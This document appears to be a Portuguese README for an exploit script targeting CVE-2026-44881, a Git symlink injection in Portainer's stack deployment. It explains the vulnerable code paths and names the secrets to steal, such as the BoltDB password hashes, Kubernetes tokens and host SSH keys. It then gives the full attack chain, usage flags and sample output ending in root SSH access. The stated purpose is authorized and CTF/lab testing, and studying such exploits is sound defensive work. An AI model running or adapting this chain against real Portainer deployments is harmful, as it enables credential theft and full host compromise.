
Exploit de script único para CVE-2026-44881, uma injeção de symlink Git no Portainer que permite leitura arbitrária de arquivos do host a partir de um usuário autenticado com privilégios baixos e direitos de criação de stacks.
Exploit de script único para CVE-2026-44881, uma injeção de symlink Git no fluxo de implantação de stacks do Portainer que permite a qualquer usuário autenticado com privilégios baixos e direitos de criação de stack ler arquivos arbitrários acessíveis pelo processo do Portainer.
Aviso: GHSA-rpgq-m5fp-32wr Afetados: Portainer CE
2.33.0–2.33.7,2.39.0–2.39.1,2.40.xCorrigido em:2.33.8(LTS),2.39.2(LTS),2.41.0(STS)
A vulnerabilidade é uma combinação de duas primitivas:
go-git v5 traduz entradas de árvore Git com modo 0o120000 (symlink) em symlinks reais do SO durante git clone. O único nome bloqueado é .gitmodules; qualquer outro caminho — incluindo docker-compose.yml, que o Portainer trata como ponto de entrada da stack — pode ser um symlink com um destino relativo arbitrário.Service.GetFileContent (api/filesystems/filesystem.go) lê o arquivo de entrada da stack com os.ReadFile, que segue transparentemente symlinks do SO. JoinPaths impede ../ na string de entrada, mas nunca chama filepath.EvalSymlinks, então um symlink já no disco resolve alegremente para seu destino.O Portainer geralmente é executado como root dentro de seu contêiner (necessário para o socket Docker), então o alcance da primitiva de leitura é tudo o que o contêiner pode ver — tipicamente /data/portainer.db (BoltDB com o hash de senha de cada usuário + cada token de API), tokens de conta de serviço do Kubernetes em /var/run/secrets/kubernetes.io/serviceaccount/token, segredos do Docker Swarm em /run/secrets/, e — em implantações que montam o sistema de arquivos do host para monitoramento — /etc/shadow do host, /root/.ssh/*, e assim por diante.
Este script encadeia:
leaked .git on port 80
→ recover lowuser:password from commit history
→ Portainer login
→ create Git-backed stack with clean YAML (validation passes, stack persists)
→ push symlink commit, trigger /git/redeploy (validation fails, working tree IS updated)
→ GET /api/stacks/{id}/file (returns symlink target's content)
→ ssh -i stolen_key root@target
./exploit.sh -t 192.168.1.27
Detecta automaticamente o IP do atacante a partir de ip addr e assume que .git está exposto em http://target/.git/. Substitua qualquer coisa que não corresponda ao seu ambiente:
-t, --target IP alvo (obrigatório)
-a, --attacker IP do atacante anunciado ao Portainer para o git daemon (detectado automaticamente)
-l, --leak-path caminho do diretório .git exposto (padrão: /.git)
-p, --portainer-port porta HTTP do Portainer (padrão: 9000)
-g, --git-port porta local do git daemon (padrão: 9418)
-w, --workdir diretório de trabalho para arquivos temporários (padrão: mktemp)
-u, --user pular enumeração .git; usar este nome de usuário do Portainer
-P, --pass pular enumeração .git; usar esta senha do Portainer
--no-creds-from-git pular a etapa .git e exigir -u/-P
--no-ssh pular a etapa final de SSH
-h, --help mostrar esta ajuda e sair
$ ./exploit.sh -t 192.168.1.27
[+] Target : http://192.168.1.27:9000
[+] Attacker IP : 192.168.1.34
[+] Workdir : /tmp/cve44881-xxxx
=== Stage 1 — dump leaked /.git and recover creds ===
[+] git-dumper found, running it...
[+] git history:
3a1f9e2 oops: remove creds from repo, rotate before prod
b4c20a6 add trial onboarding env (temp, will move to vault)
d09a875 init: portal landing + ops notes
[+] Recovered creds: lowuser / lowuser-c0ntain3r-2026
=== Stage 2 — Portainer auth ===
[+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] Endpoint ID: 1
=== Stage 3 — host the bait Git repo on git://192.168.1.34:9418/repo.git ===
[+] git daemon up (pid 12345)
=== Stage 4 — create the Git-backed stack (clean YAML) ===
[+] Stack ID: 1
=== Stage 5 — push symlink commit + trigger redeploy ===
[+] redeploy response: {"message":"stack config file is invalid: top-level object must be a mapping"}
=== Stage 6 — GET /api/stacks/1/file ===
[+] leaked private key saved to /tmp/cve44881-xxxx/stolen_id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
=== Stage 7 — SSH in as root with leaked key ===
=== id ===
uid=0(root) gid=0(root) groups=0(root)
=== hostname ===
containerops
=== flag ===
b7d419c8a2f6e90315b7d419c8a2f6e9
=== Done — exploit complete ===
curl, jq, git (com git daemon), sshgit-dumper — pipx install git-dumper. O script inclui um enumerador HTTP burro mínimo embutido que lida com o caso simples de objetos soltos se git-dumper estiver ausente, mas para qualquer diretório .git vazado não trivial, a ferramenta completa é muito mais confiável./:/mnt/host:ro e lê /mnt/host/root/.ssh/id_rsa. Para mirar outros arquivos, edite o destino do symlink no Estágio 5 (../../../mnt/host/root/.ssh/id_rsa). O go-billy do Portainer aprisiona symlinks absolutos à árvore de trabalho, portanto o destino deve ser relativo..git são apenas no escopo do Portainer — elas não concedem SSH ou qualquer acesso direto ao host. O laboratório é configurado para que a única maneira de obter RCE no nível do host seja através do próprio CVE.{"message":"stack config file is invalid"} — isso é o validador reclamando que uma chave SSH não é YAML válido. O clone já sobrescreveu a árvore de trabalho quando o validador é executado, que é exatamente o que precisamos.MIT. Apenas para testes autorizados e uso em CTF / laboratório.